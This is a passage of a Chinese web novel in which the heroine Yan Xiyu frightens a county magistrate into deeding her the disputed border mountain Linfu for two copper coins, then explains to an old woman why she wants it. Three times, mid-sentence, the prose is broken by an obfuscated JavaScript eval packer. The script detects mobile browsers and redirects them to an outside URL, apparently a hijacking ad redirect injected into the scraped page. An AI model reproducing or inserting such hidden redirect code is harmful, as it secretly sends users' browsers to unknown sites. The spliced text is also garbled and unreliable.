“从龙之功啊……”刘大人感慨万千,“谁能舍得放弃,要不是太子早立,我也想去搏一回。” 师爷和管家立在一旁没说话。 刘知县的父亲是工部尚书,自然是忠于朝廷忠于陛下的,太子是大承未来的天子,刘家自然也是站在太子这边的。 “算了,这事就暂时……”刘知县摆摆手,正想让俩人退下,这时有下人在书房外面有禀报。 “老爷,方才有位姑娘求见。” “不见!”刘知县烦躁地说,“准又是冯索那老匹夫想的诡计,本老爷不是同你们说过,不相干的人和事无需禀报。” “大人,是卑职让他们这么做的,”旁边的师爷说,“羿少将军被抓,卑职觉得某些人或许会有动静,就让门房留意一下近些日子过来拜访的人。” “还是师爷想的周到,”刘知县点点头,“那这外头的人见还是不见?” 师爷想了想,隔着书房的门问:“只一人前来?可还有人随同?” 但房外没人回话。 “怎么回事?”管家立即皱着眉走出内室,他边走边责骂,“平日我是怎么再三叮嘱的,今日你……” 就在他的手刚要碰到门板时,书房的门忽然被人从外面推开。 “你……”管家正要大声责骂,一下子就看见书房外地上躺着一个人。 方才就是这人在门外禀报…… 管家心头忽地一跳,眼睛一转,这才看见房门边站着一个陌生女子。 “你是谁?”管家先是一愣,再是一惊,紧接着立即就紧张了起来,“你是如何进来的?!” 这里可是知县府邸,府中先别说仆人和侍卫,就是军营来的士兵也有不少,没有得到刘知县的允许,知县住的这处主院别说是外人,就连府中的公子姑娘都不能随意进出,这陌生的女子又是怎么进来的? “我姓燕,我叫燕惜妤,”燕惜妤向旁边迈了一步,站在书房的门前,“我走进来的啊。” “走进来的?”管家有点迟疑地问,“难道没人拦你?” “有啊,”燕惜妤侧身指了指台阶下倒地的刘府下人,“有不少人拦,都被我打昏了。” “你?!!”管家一时有些怔。 他在跟着刘知县来乌州之前,在皇都的刘尚书府中曾是刘知县的侍随,跟着刘知县来了这乌州,他就当上了管家。 在大承,除了少数皇亲国戚,别的官员都要奉承着他们刘府,要知道整个大承也就只有六位尚书。所以管家也自视高人一等,没想到今日竟有人胆敢闯他们刘知县的府邸! “怎么回事?”刘知县走出来不耐烦地问,“是谁来了?” 他还以为是化县的知县冯索来了,结果走出来一看,发现是个年轻的女子。 “你是?”刘知县打量了眼前的人。 管家在这时忽然惊醒过来,他凑到刘知县耳边低声说:“老爷,这女子姓燕,老爷再想想羿少将军被九皇子抓走的理由。” 羿衍椋被抓走的理由? 勾结前朝余孽燕氏?族,里通外敌。 燕氏…… 刘知县一下子瞪大了眼睛,紧接着就是猛地一连后退了好几步,连带着管家也远离了门边。 内室的师爷留意到门口的异常,转身走了出来,然后看见了正迈过门槛的女子:“大人,这位姑娘是?” “师爷,她姓燕!”刘知县一把扯住想继续向前走的师爷,“羿少将军就是被她害得给抓走了,现在她又要来害我了!” 师爷皱眉:“姓燕?你是前不久落户在边地的燕惜妤?” 羿衍椋勾结前朝余孽被抓,各地的衙门肯定要查清楚谁是前朝余孽。身为知县府中的师爷,他当然把整件事情的相关人物都已经查清楚了。 边地现在不只有位姓燕的女子,还有一位姓桑的老妇人。 燕氏和桑氏一同出现在羿家军管辖的边地上,怪不得九皇子会怀疑羿衍椋勾结前朝余孽,这确实让大承朝廷感到不安。 但师爷也查到九皇子只把羿少将军带走了,却没有为难住在边地的那俩人,这点让师爷察觉到事有蹊跷。 或许今日能从这燕惜妤口中探到些真相。 “不知燕姑娘为何事来?”师爷试探着问,“若是为羿少将军一事……” “听不懂不知道你在说什么,”燕惜妤看了他一眼,然后说,“我是来找知县大人的。” 师爷和管家对视一眼,然后看向刘知县。 刘知县对燕惜妤很是戒备,堂堂羿少将军都被抓走了,想他只是区区地方的小知县,要是被安上勾结前朝余孽的罪名,下场肯定比羿衍椋还要惨。 刘知县越想越觉得眼前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097698|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子不是好人:“本官与你素未谋面,你为何要找本官?” “我听说边地是刘知县在管,是吗?”燕惜妤看向刘知县。 “是,”刘知县点头又摇头,“但那只是名义上的,边地实际是归羿家管,你有事找羿家去,别来找本官。” “我这事还真得找刘知县您,”燕惜妤从怀中取出了她的户籍,“我是来找刘知县您来买山头的。” “……你买山头?”刘知县一顿,看看师爷又看看管家,然后才说,“买山头确实是归我管。” 大承的百姓若想买田地,需先问过里长,里长同意后,带着人去画出田地的位置,再一起去衙门交钱盖章。 而如果想买山头,里长是没有权利的,只能自己去衙门,等知县大人批准才可以。 其实这也说明了一个问题,普通的老百姓或许能赚到买田的银钱,但他们赚不到买山头的银钱,因为买山头的富户都是带着孝敬来衙门的。 这就是民间常说的“八字衙门朝南开,有理无钱莫进来”。 但眼前这女子两手空空…… 刘知县再一想到边地还有一位姓桑的老妇人,眼睛忽然亮了几分:“你想买哪处无主的山头?” 燕惜妤笑笑:“临阜山。” 但刘知县却觉得她这笑容挺怵人的:“临阜山?!你要买临阜山?!” “对,”燕惜妤点头,“就是边地那座跨大承和荒漠两界的临阜山。” “……那座山不买,”刘知县顿时就蔫了,他还以为能从那桑氏老妇人身上榨出一笔银子,却没想到人家是要买临阜山,“你也知道临阜山跨两界,它既归大承也归荒漠,但荒漠那边夷狄人自己都还四分五裂,临阜山至今都不知归他们那一族来管,没人能把临阜山卖给你。” “那我就只买咱大承这一边的临阜山,”燕惜妤笑眯眯地说,“知县大人给我写地契吧。” “你……”刘知县都还没反应过来,倒是师爷先察觉了燕惜妤此次的真正的来意。 “燕姑娘怕不是来买山头,而是来抢山头的吧?”师爷盯着燕惜妤,再看看外面还躺着的那个下人,“大人小心,此女来者不善!” “什么?!”刘知县这才发现外面台阶下倒的人,他立即瞪管家,“府中护卫呢?” 管家哭丧着脸说:“方才她说她是走进来的,还说谁拦她就打昏谁,小的怕把她惹怒了,所以不敢声张。” 他这话说得虽然委婉,但刘知县也不是真的傻子,他自然听出了管家话里的意思。 他知县府中有护卫,但都被这女子给打昏了,否则她不可能会大摇大摆地站在他的书房前问他买山头。 不对,她是来抢山头的,抢的还是临阜山。 “你……要来抢临阜山?”刘知县迟疑地开口,“你难不成真是前……” “我不是,”燕惜妤打断他,“我和前朝没有任何关系。” 看她说得斩钉截铁,刘知县莫名的就信了。 “就当你不是,那你能拿出多少银子买临阜山?”刘知县还是很爱银子的,既然她硬要买,那他就卖,只不过卖出去的临阜山也不可能归她所有,但银子他要定了。 “我没什么钱,”燕惜妤边说边从怀中取出了两枚铜钱,“我想用两文钱买临阜山。” 112. 第112章 书房内一时间安静的可怕。 “……你用两文钱买临阜山?”刘知县用看傻子的眼神看着燕惜妤,“就你这两文钱,你连山脚下的一株杂草你都买不到!” “为什么买不到?”燕惜妤还是笑眯眯的表情,“你说临阜山既归大承也归夷狄,但却双方都不能轻易管临阜山,那它就是无主的,所以我能买。” “你知道买一座山要多少银两吗?”刘知县满脸的讽刺,“寻常的山头就得上千两白银,临阜山没五千两白银绝不卖!” “知县大人,我若拿五千两白银买下临阜山,以后临阜山是否就属于我了?”燕惜妤仍然笑着,“万一夷狄人跑进山里,知县大人能帮我杀了他们吗?” “咱大承和夷狄早已经签了停战协议,他们不敢闯进边地,羿家军一直守着,”刘知县转着眼珠子说,“之前本官就已经说了,临阜山只能卖你一半。” “知县大人这就不对了,”燕惜妤缓缓收起了脸上的笑容,“五千两白银卖给我一座半边山头归别人的临阜山,这不划算啊。” “不买就滚!”刘知县拂着袍袖赶人,“再不滚,就把你抓进衙门大牢!” “大人当真不把临阜山卖给我?”燕惜妤看了刘知县一眼。 刘知县看都不看燕惜妤:“不卖!” “好,”燕惜妤点点头,忽然伸手很随意地拍了一下半砖半木的墙壁—— “咔嚓”一声裂响,像是某样物体裂开的声音。 燕惜妤笑笑,转身往外走。 紧接着,“咔嚓”的裂响声开始响个不停,书房里的刘知县等三人抬头在屋里四处看,那些“咔嚓”就是从整间屋子的墙体发出来的。 刘知县抬头看房梁,房顶上方忽然洒下不少灰尘和砂粒。 “这……咳!”刘知县一张嘴,从房顶上落下的灰尘洒了他满脸。 “这声音……”管家有些迟疑地说,“像是屋子要裂开……” “糟了!”师爷猛地变了脸色,一手拽着刘知县就往门口冲去,“管家快跑!屋子要塌了!” “什?!”刘知县还没来得及有所反应,就听一道刺耳的声音在屋顶先响起,下一霎“轰”的一声,书房的屋顶陡然往下塌了一个角! “快跑!”这下不用别人拽着了,刘知县吓得脸在一瞬间变得惨白,逃出书房门时还被门槛绊倒,整个人冲台阶扑了下去。 “大人当心!” “老爷小心!” 就在师爷和管家抢着去扶刘知县时,“轰隆”一声巨响炸在耳边,整间书房在他们背后坍塌了。 刘知县脸朝下倒在地上,师爷和管家一左一右跪着想要扶他,三人在这一刻全都静止了动作。 他们僵硬着转过头,看向坍塌了的书房,过了好一会,才从震惊中惊醒过来。 他们三人动作整齐地回头看向站在他们面前的燕惜妤。 燕惜妤正垂着眼看着他们:“知县大人,我再问你一次,临阜山你卖还是不卖?” 刘知县震惊地看着她,也顾不得自己摔出了血的下巴和嘴,第一时间就是点头:“卖……卖卖……” “哎呀,知县大人怎么就摔了?”燕惜妤这时像是才发现他们摔了,伸出手想弯腰把人扶起来。 结果刘知县他们三人一看见她伸手,吓得连连往后缩:“别、别过来!” 燕惜妤只好无奈地收回手,很认真地说:“知县大人不用怕,我这人很好说话的,只要不把我惹怒,我不会杀人。” 刘知县撑着管家和军师的手臂挣扎着站了起来,他回头看看倒塌了的书房,一听燕惜妤说这句话,下意识就又后退了几句。 好凶残的人,一言不合就把房子给一掌拍塌。 “你是不杀人,但我们要是跑慢一步,就得被埋在书房的废墟里……”刘知县低声嘀咕了两句。 “知县大人在说什么?”燕惜妤看了他一眼。 刘知县连忙闭紧了嘴巴。 这时,府中听见声响的侍卫匆匆赶了过来。 “大人!出什么事了?!” “大人您怎么受伤了?” “大人不好了,府里有多名侍卫被人打昏,小的怀疑凶徒已潜藏在府!” 一堆手握长剑的侍卫冲进了这主院,在看见倒塌了的书房时瞬间就傻了眼。 “这……方才莫不是有地龙翻身?”否则好好的书房怎的说塌就塌了? “大人您可曾看见那擅闯进来的凶徒?” 一堆侍卫对旁边真正的“凶徒”视而不见,却围着刘知县问东问西。 刘知县闭了闭眼,有气无力地挥手:“都出去!” 那群侍卫一愣,有些不明所以地看看师爷和管家。他们是来保护刘知县的,眼下凶徒不见踪影,他们又怎么能出去。 管家偷偷瞥了眼旁边站着的燕惜妤,恨不得让侍卫立即把此人抓起来。 燕惜妤看了他一眼,慢条斯理地抬起了刚才拍塌书房的手。 管家吓得一缩脖子,顿时把气撒在一群侍卫身上:“老爷的话你们是没听见吗?还不快滚下去!”他骂是骂得凶,但是却在拼命地给侍卫使眼色。 偏偏众侍卫看不懂他的眼色,都纷纷退出了主院。 他们在经过燕惜妤身边时,压根都没敢往她身上看。 他们只是府中侍卫,职责是保护刘府和刘知县的安全,平日一般都很少接触到府中婢女和住在后院的女子。 而且这里还是刘知县住的主院,能出入主院的女子身份自然是不低的,就算不是府中女眷,那也是府中有头有脸的大丫鬟,他们当然要避着些。 再说这就在刘知县的跟前,他们就更不敢去看主院中的任何女子了。 管家看着侍卫一个不留地全都走了,悬着的心也死了。 完了,侍卫走了,这煞神却还在! 燕惜妤像是看出了他心中的想法,很和善地说:“你该庆幸他们没留下,否则我把他们连同你一起给都杀了。” “!!!”管家瞬间缩着脖子往后退了好几步。 刘知县和师爷站在一起,若不是有师爷扶着,刘知县这时只想瘫在地上,他实在是腿软啊。 燕惜妤扫了在场的三人:“知县大人,我再问你一次,临阜山你卖还是不卖?” “卖卖卖!”刘知县一连迭地说,“你要就给你!不、不不过……” “不过什么?”燕惜妤皱眉向他。 “日后若有夷狄人闯进去,你……”刘知县的话还没说完,燕惜妤就笑了笑,笑声吓得刘知县又是一哆嗦。 “若是有夷狄人闯山,你身为知县是打算不管?”燕惜妤又抬起了手,“知县大人,你府中有多少间屋子啊?你看我下一掌拍哪间屋子好呢?” “管管管!”刘知县慌忙说,“我、我身为泰县父母官,当然管!” “那就好,”燕惜妤又拿出了那两枚铜板,“那就请知县大人给我签山契再盖章吧。” 刘知县看看燕惜妤,又看看倒塌了的书房,哭丧着脸说:“印章在书房里……” 燕惜妤却是双眼一眯,整个人倏地就到了院子中的假山上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102167|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘知县等三人满脸惊骇地抬头看着她。 “知县大人,你府中的印章被埋了,难道衙门里印章也被埋了?”燕惜妤冷笑一声,右脚忽然往下一跺,又是“咔嚓”一声—— 三人高的假山刹那间从中炸裂开来,石头砂子砸的满院都是! “娘欸!” “老爷快躲!” “大人小心!” 刘知县三人吓得拔腿就想跑,燕惜妤却已经站在了他们面前。 “你你你别过来!!!”刘知县软着腿抖着手颤着声道,“我给你印章!!” 燕惜妤扬了扬眉:“知县大人,我没什么耐心,再有下次……” “别别别!”刘知县慌张地挥着手说,“不就是一座临阜山吗,我给你就是了!” 不就是一座两不管的山头吗,给她就是了,小命要紧! “我这就喊人去衙门取印章,”刘知县扶着师爷的手后退了两步,然后一屁股坐在台阶上,喘着气说,“师爷,喊侍卫把印章拿来给本官。” 师爷是三个人之中最为镇定的,他看看燕惜妤,只向前走了几步,在燕惜妤能听见的范围之内喊来心腹侍卫,吩咐对方去衙门取印章。 那待卫之前刚被赶出去,没想到一转眼的工夫再回来时,竟然发现主院的假山也塌了一大半! 这地龙难不成在大人的主院地底下安了家?否则又怎么先是塌了书房又塌假山? “快去快去!”师爷催促那心腹侍卫,“路上不可耽搁。” “是,”待卫连忙转身退下。 燕惜妤把他们的对话听的一清二楚,对师爷笑了笑:“聪明人做聪明事,你们现在最该做的是让我走,而不是和我耍心眼。” 师爷低着头走回刘知县的身边。 刘知县听见燕惜妤这话,瞪大眼睛想了想,觉得她说得有道理。 临阜山是两不管的山头,除了羿家军的将士会隔几日就上山巡逻一回,平日住在边地的百姓很少会上山,通常只在山脚下捡些柴火和摘些野菜。 边地全是大山和荒地,虽然临阜山是最大的那座山,可边地的百姓和军营中将士完全不靠临阜山过活。 其它的山头有的是柴火,野菜那更是遍地都是。边地山多地多人却少,别说给出去一座临阜山,就算再给出十座八座大山头,边地仍然还有数不尽的山! 刘知县把这事想通了,忽然就茅塞顿开。 他撑着地站起来,师爷和管家连忙过来要扶他,他对他们摆摆手,自己站直了身体。 理理袍袖,再拂拂衣摆,刘知县走到燕惜妤的面前,恢复了他那原本当官的嘴脸:“燕姑娘,本官念你没有杀害府中侍卫,就不与你计较,等你临阜山到手,以后就别再来了。” 燕惜妤笑笑,没点头,不过也没摇头:“知县大人若能把临阜山卖给我,我自然不会再来。” 刘知县皱眉:“本官方才说了,临阜山卖给你。”虽然一座大山只卖了两文钱。 “知县大人没听明白我话中的意思,”燕惜妤意有所指地说,“我说的是临阜山完全属于我。” 刘知县皱眉,一时没弄明白她话里的意思。 山不是给你了吗?那不就是属于你的,还在说什么乱七八遭的? 师爷这时走到他身边轻声提醒:“大人,山中矿产。” 矿产? 刘知县心头一跳,忽然想起边地不只来了一个姓燕的女子,还来了一个姓桑的老妇人。 “你?!”刘知县心中大骇,“莫非你想独占临阜山所有的矿产?!!” 113. 第113章 “临阜山能有什么矿产?”燕惜妤看着他,“那不就是一座山头,边地那么多山头,你身为知县在哪座山上发现矿产了?” 刘知县被问的心中又是一跳。 边地虽然山多,但无奈人却太少,虽然时不时会有被流放过来的家族,但在流放路上死一批,到了之后因各种原因又死一批,最后剩下的人根本就起不了多大的作用。 军营倒是有不少将士,但那是守卫大承国门的人,轻易动不得。 再者说边地的大山离荒漠那边的夷狄人太近了,万一半夜被偷袭,那挖好的矿坑估计能埋不少人。 不过乌州两县也有矿产,但不在边地,而是在别的地方。 大承规定私有的山头若是发现矿产,一九分成。朝廷拿九成,负责派人开采挖掘,而原山头的持有者拿一成,金银玉石等可私有,若是铁矿则需卖给朝廷。 大承皇帝为了表现仁爱,凡是在私有山头发现矿产的,无论挖掘的矿区有多大,都会补偿一座山头。所以大部分人要是发现了自家山中有矿产,一般都会上报。 当然这是明面上的,也有胆大的有权有势的人,避开朝廷和当地的县官暗中合作私下开采矿产,趁机从中渔利中饱私囊。 刘知县当然也做着这样的事情。 身为知县,泰县所有的矿产区都在刘知县手上,他负责把挖出来的各种矿上交朝廷,因此他在这方面能轻易做各种手脚。 所以燕惜妤问的话,让他有点不敢正面回答。 若是换了别的人,他或许不会心虚胆怯,但眼前这位可是煞神,万一她对他来个严刑逼供,他绝对撑不了半柱香就会报全部都招了。 “……也不是所有的山头都会有矿产,”刘知县有点躲闪的样子,“那些属于私产的山头,若不挖掘……朝廷也不会知晓山上有矿。” 他说这话时,还慢慢看了燕惜妤好几眼。 看他这样子,再联想到他说的话,燕惜妤轻易就猜到了他话里的真正含义。 那些已经卖了出去的山头,如果真有矿产,只要不说出去,朝廷就不会发现。 “那确实,”燕惜妤点点头,“好好的山头,哪舍得给挖的千疮百孔。” “就是就是!”刘知县连忙点头,“你买了山头,无论在山里种什么、做什么,外人都是不知晓的。” “那行,你把山契写给我,”燕惜妤扫了他一眼,“我劝知县大人不要在山契里动手脚,若我下次再来找你……” “别来了!千万别再来了!”刘知县赶忙摆手,“我把山契写给你,你可真的别再来了!” 燕惜妤扬扬眉,没说话。 刘知县胆颤心惊地等着待卫把印章取了来,然后叫人抬来书案和笔墨纸砚等,抖着手给燕惜妤写了两份山契。 山契一式两份,一份给买家,一份存档留在衙门。 最后他很用力地盖了印章,然后有些讨好地把山契双手递给燕惜妤:“燕姑娘你好,这就是临阜山的山契。” 燕惜妤接过来看了看,上面确实写的清清楚楚,她燕惜妤从泰县知县刘运在任期间用白银二千两买下了边地与荒漠交界的临阜山,从些临阜山成为了燕惜妤的个人产业。 燕惜妤抬起眼看了看刘知县,右手食指指节轻轻敲了一下那厚重的书案,只听“咔嚓”一声裂响,那张书案骤然四分五裂开来! “啊!”刘知县被倒下的书案砸到膝盖和小腿,痛的抱着脚在地上打滚,“娘欸痛死我了!” “老爷!”管家吓得连忙跪在地上去看刘知县的脚。 师爷却是生气地瞪着燕惜妤:“山契已经写给了你,你为何还要伤大人?” “我没伤他,是他自己不会躲,”燕惜妤无辜地说,“还有,这山契里写我花二千两银子买的临阜山是什么意思?”她可没有二千两银子。 师爷说:“大承的山头大多都卖二千两银子,若真写收你两文钱,这山契反而会引起知州的注意。” 燕惜妤看着他:“那这银子谁出?” “我、我出!”刘知县龇牙咧嘴地拖着伤腿扶着管家站起来,“卖临阜山的银子我出,山头属于你,山契已经给你了,你拿着快走。” “知县大人,你这山契确定没问题吧?”燕惜妤对他举了举手中你山契,“若是被我知道你在山契里动了手脚……” “没有绝对没有!”刘知县就差对天发誓了,“这就是平日我签发出去的山契,绝对是真的,没有任何问题!” “那就好,”燕惜妤对他躬身抱拳,“多谢知县大人的慷慨,那我这就告辞了。” “走吧走吧,”刘知县平白无故损失了两千两银子,心头正在滴血,但他却又不敢在燕惜妤面前表露出来,甚至还挤出笑容,“那我就不送燕姑娘了,燕姑娘慢走啊。” 燕惜妤对他拱着手:“今日打扰知县大人了,再见。” 说完,她转身走了出去。 “管家,快!快送送燕姑娘,”刘知县连忙推了推管家,“把人送出门去。” 管家只能缩着脖子给燕惜妤带路:“燕姑娘请这边走。” 他带着燕惜妤离开主院后,刘知县一下子瘫坐在台阶上:“可算是把这煞神给送走了。” “大人,那二千两银子……”师爷皱着眉说,“大人当真要自己出?” “她摆明就是要来抢山头的,本官又打不过她,”刘知县叹着气摆手:“就当破财免灾了,我这脚可太痛了。” “大人如此做,只怕会助长此女的贪婪,”师爷皱眉说,“卑职只怕她日后会越来越贪得无厌。” “再说吧,”刘知县低着头无力地说,“总好过她现在把我们都打死了……” “知县大人这心态很不错,”耳边忽然又响起了燕惜妤的声音,吓得刘知县和师爷皆是浑身一颤。 刘知县见鬼似报盯着师爷身后的人,师爷顺着他的目视转过身来,发现燕惜妤竟然不声不响地站在他身后。 “你、你怎的又、又回来了?”刘知县吓得都不敢大声说话了,这煞神怎的来无影去无踪?! “我回来看看你有没有在背后算计我,”燕惜妤看着他,“我还没有把买山的铜钱给你。” 说完,她边走边把那两枚铜板拿了出来。 她一抬脚,把还坐在台阶上的刘知县吓得直往后挪屁股:“不不不、不用了!” “钱还是要给的,”燕惜妤手里捏着两枚铜板递给他,“我现在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110435|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上没有那么多银子,等以后赚到了,我会把钱还给你的。” “不用了!不用了!”刘知县连连摆手,“那山头本来就卖不出去,没人会买的,就你、就你一人要买。” 临阜山处于两界之间,大承不能管,只能让进山将士巡防,荒漠那边的夷狄人是压根不管,夷狄人善骑术,居于草原,他们无法在山林中生活。 从古至今,临阜山就是两不管地界,而且山上据说还有山……神,边地这边的百姓很是忌惮临阜山,就算山上有再多的珍稀药材和动物,他们也轻易不敢进山。 当然也有胆大的猎户会跟着进山巡逻的将士一起,之所以要跟着将士们,一来是人多,遇见危险时有人能帮,二来是万一真碰见了猛兽毒蟒,也有人能给他们收尸。 “临阜山没人买?是不是旁边的山头都卖了?”燕惜妤问了一句。 “边地的山头都没人买,边地太危险了,要买也是买乌州内远离边地的山头,”刘知县鼓起勇气伸手接过燕惜妤递来的铜板,“买山的钱我收下了,你可以走了。” 原来边地的山头没人买啊,那就都是无主的山头。 燕惜妤瞥了一眼刘知县,见他正惶惶然地盯着这边,她笑笑:“知县大人,我下次再来找你。” “不是你怎还要来?!!”刘知县拖着伤腿想站起来,师爷连忙过来扶他。 就在这时,管家鬼哭狼嚎地跑了回来:“老爷!老爷啊!方才那煞神忽然凭空消失……呃?!” 燕惜妤转过身来看着他。 管家刹那间仿佛被一只无形的手掐住了喉咙,张着嘴定在了原地。 “知县大人,那我走了啊,”燕惜妤对刘知县微笑,“不用送了,我还会来的。” 话说完,她的人就消失在了原地,就像来时无声无息般,凭空出现又消失。 “就是这样!就是这样啊大人!!”管家抖着手说,“方才她就是这样在我面前消失的!就是这样啊大人!!” “知道了……”刘知县有气无力地撑着师爷又坐在台阶上,“师爷,你说她是不是真的只为了一座临阜山才来的?是不是那姓桑的在山中发现了什么?” “卑职觉得不是,”师爷摇摇头:“那临阜山处于两不管地界,桑氏妇人若真想找铁矿金矿,边地那么多山都可以去找,但临阜山……就算找到了,她们难道不怕夷狄人突袭?卑职觉得此事怕另有隐情。” “本官也这么觉得,”刘知县皱着眉想了一会,然后哭丧脸着说,“可我实在是不想再见到那煞神了,方才她就那么随手一拍,一脚,还有手指那么轻轻一敲,你看看!你看看我这院子!” 刘知县这主院塌了一间书房,倒了一座假山,还坏了一张书案,一地的狼藉,全都拜一人所赐。 “老爷,您忘了咱府中那些被打昏的侍卫了,”管家提醒他,“那可都是身手了得的侍卫,全被她打昏了!” 乌州的侍卫和别的州县的侍卫不同,乌州的侍卫都是从战场上活下来的士兵。虽然现在和夷狄是处于停战的时期,但朝廷一直防着对方,所以乌州内的侍卫和守军都是可以随时上战场的士兵。 “别说了!”刘知县惨白着脸,“本官不想再提到她!” 114. 第114章 燕惜妤刚回来没两日就又出了门,不过她这次没带着罗采春,大家心里自然也没之前那么忐忑。 因为大家都知道,燕惜妤就算抛弃任何人,都不会抛弃她三姐的。 果然,又过了两日,燕惜妤就牵着马出现在了屯子的巷道里。 “燕姑娘回来了?”有邻居和她打招呼。 “是,刚从镇上回来,”燕惜妤和对方说话,“你这是准备去捕鱼呢?” 邻居乐呵呵地说:“对啊,昨儿夜里下了雨,河道游来不少鱼,等我捕回来也给你家送两条。” 燕惜妤牵着马笑着说:“好啊,有多就给我送条来,没有就算了,你自己捕的鱼,再怎么也得自己先吃上一口。” 小满儿这时牵着小羊羔和小鹿又来出溜达了,一看见燕惜妤,立即就大声喊:“燕姐姐回来了!” 她这么一喊,屋子就有人走了出来。 “是燕姑娘回来了啊,”梁屯长像是正在等着燕惜妤,“要做的事可是做好了?明日可有空去买羊毛?” “屯长都来催了,就算我没空也得有空啊,”燕惜妤牵着马进院子,“屯长放心,明日我会去把羊毛带回来的。” “那就好,”梁屯长这才放下心来,“我就先回去了,明日后晌我拉着牛车去边卡那边等着。” “好,”燕惜妤对他点点头,“屯长慢走。” 等他走后,桑大娘才说:“一大早就过来了,像是催债似的。” 仲五刚好在,他过来把马匹牵着马棚里拴好,又给添了水和放了饲草。 “对赚钱上心也是好事,”燕惜妤左右看看,拉着桑大娘进了屋,这才取出那盖了印章的山契,“你看,临阜山从此以后就是有主的了!” “姑娘好生厉害,还真得到了这大山!”桑大娘原本浑浊的双眼迸出光彩,随后又叹息道,“这大山好是好,可这山头是两不管地界,若出了事,日后怕是无所依仗。” 若是按照她的意思,边地除了这临阜山之外的所有大山,都比这正正处在两界中央大承不管,夷狄不理的临阜山都要有用。 “大娘,我想要的,正是这两不管的山头,”燕惜妤却是很喜欢这临阜山,“若真遇到解决不了的事,我就带着你们躲进这山里,平时虽然有羿家军会进山巡逻,但他们也只是例行在山脚再往上一点的位置巡逻,并不会去到半山腰。” “那他们还不是也会进山,”桑大娘摇头说,“这临阜山有一半是大承的,他们能随时进山。” “只有一半,另外一半不属于大承,”燕惜妤笑眯眯地说,“别的属于大承的山头,士兵能在山上安营扎寨,但临阜山不可以,他们只能巡逻但不会长时间停留。” 若她和罗采春从教坊司逃跑出来的事被衙门知道,她就能带着人躲进山里,大承的将士会上山搜索她们,但他们却不敢在上面有太大的动静,毕竟临阜山还有一半是属于夷狄蛮族的,要是因他们的大动静令夷狄人误会大承士兵要从山上偷袭他们,那这严重的后果可不是区区一个知州或知县可以解决的。 两国若为此开战,朝廷肯定不会同意的,到时谁惹出来的乱子就绑了谁送去夷狄那边赔罪。 当然,只她和罗采春俩个从教坊司逃跑出来的人,是不会惊动到士兵要围山抓人的。 敌对双方都还要远嫁公主和亲呢,她们俩人真没有可能会挑起两个国家的战火。 但若是躲上山的是羿少将军呢? 燕惜妤去救阿七时,对方曾经说过若他逃走就是叛变,那么大承再也容不下他,大承之外的人恨他入骨,他没地方可去。 燕惜妤当时就在想,阿七怎么能没地方去呢。 他年少就已经上了战场,一家子男丁为了大承的天下,祖祖辈辈都在守着大承的国门,若只是因为和她这个姓燕的人同行了一段路,就被某些人诬陷勾结前朝余孽断了前程,那他多冤啊。 受了冤枉的人却连个躲避藏身的地方都没有,她心里不能接受。 若再有下一次,她就把阿七藏在山上。 不是说大承容不下阿七,大承之外的夷狄人恨阿七入骨吗,那她倒要看看,若再有下一次,她把阿七藏在临阜山上,那什么皇子敢不敢让大承的士兵进山搜捕。 若是敢,她不介意去夷狄那边扇风点火,她要告诉夷狄人,之前大承的羿少将军被大承诬蔑叛变,现在正在山上搜捕他,那大山你们也占据一半,你们上山去救羿少将军,然后策反他,让他当你们夷狄部族的将军。 接着她又会去找大承衙门的官员,告诉他们若再继续大肆进山搜捕,夷狄人那边就会知道羿家少将军现在落难了,说不定就会想把羿少将军请回夷狄去领兵,因为你们自己人陷害少将军,所以把他推到敌方的阵营去了。 当然他们对她的话肯定是半信半疑的,不过没事,只要他们进山去调查真假,那他们绝对会碰上对方—— 到最后,大承皇帝会如此选择,那就要看他是不是个好皇帝了。 若大承皇帝是一个任由皇子为了夺嫡而谋害忠良臣子的昏君,那这大承江山也存在不了多久。 燕惜妤越想越觉得她为自己、三姐还有阿七找到了一个非常安全的地方。 “看你这表情,是真的很想要这临阜山?”桑大娘摇摇头,然后笑着说,“既然你觉得临阜山好,那我也上山去看看吧。” “嗯?”燕惜妤有点吃惊,“大娘,你想进山?” 桑大娘之前从不进山,但她喜欢看山,总是坐在屯子口前的大树下看着四周的山。 曾经有人问她,看出山上有什么没有?她还故作神秘地说:“自然是山中有至宝!” 燕惜妤忽然想到这件事,随口笑着说:“大娘这是打算进山给我找宝藏啊?” “先看看,以姑娘你现在的身份,有宝藏也挖不出来,”桑大娘也笑了,“等姑娘身后聚集了忠心之人,宝藏说不定就有了。” 燕惜妤只当她说笑:“那好,我负责找人,大娘负责给我寻宝藏。” “好,”桑大娘慈爱地说,“姑娘说话,我这老婆子自然是听的。” 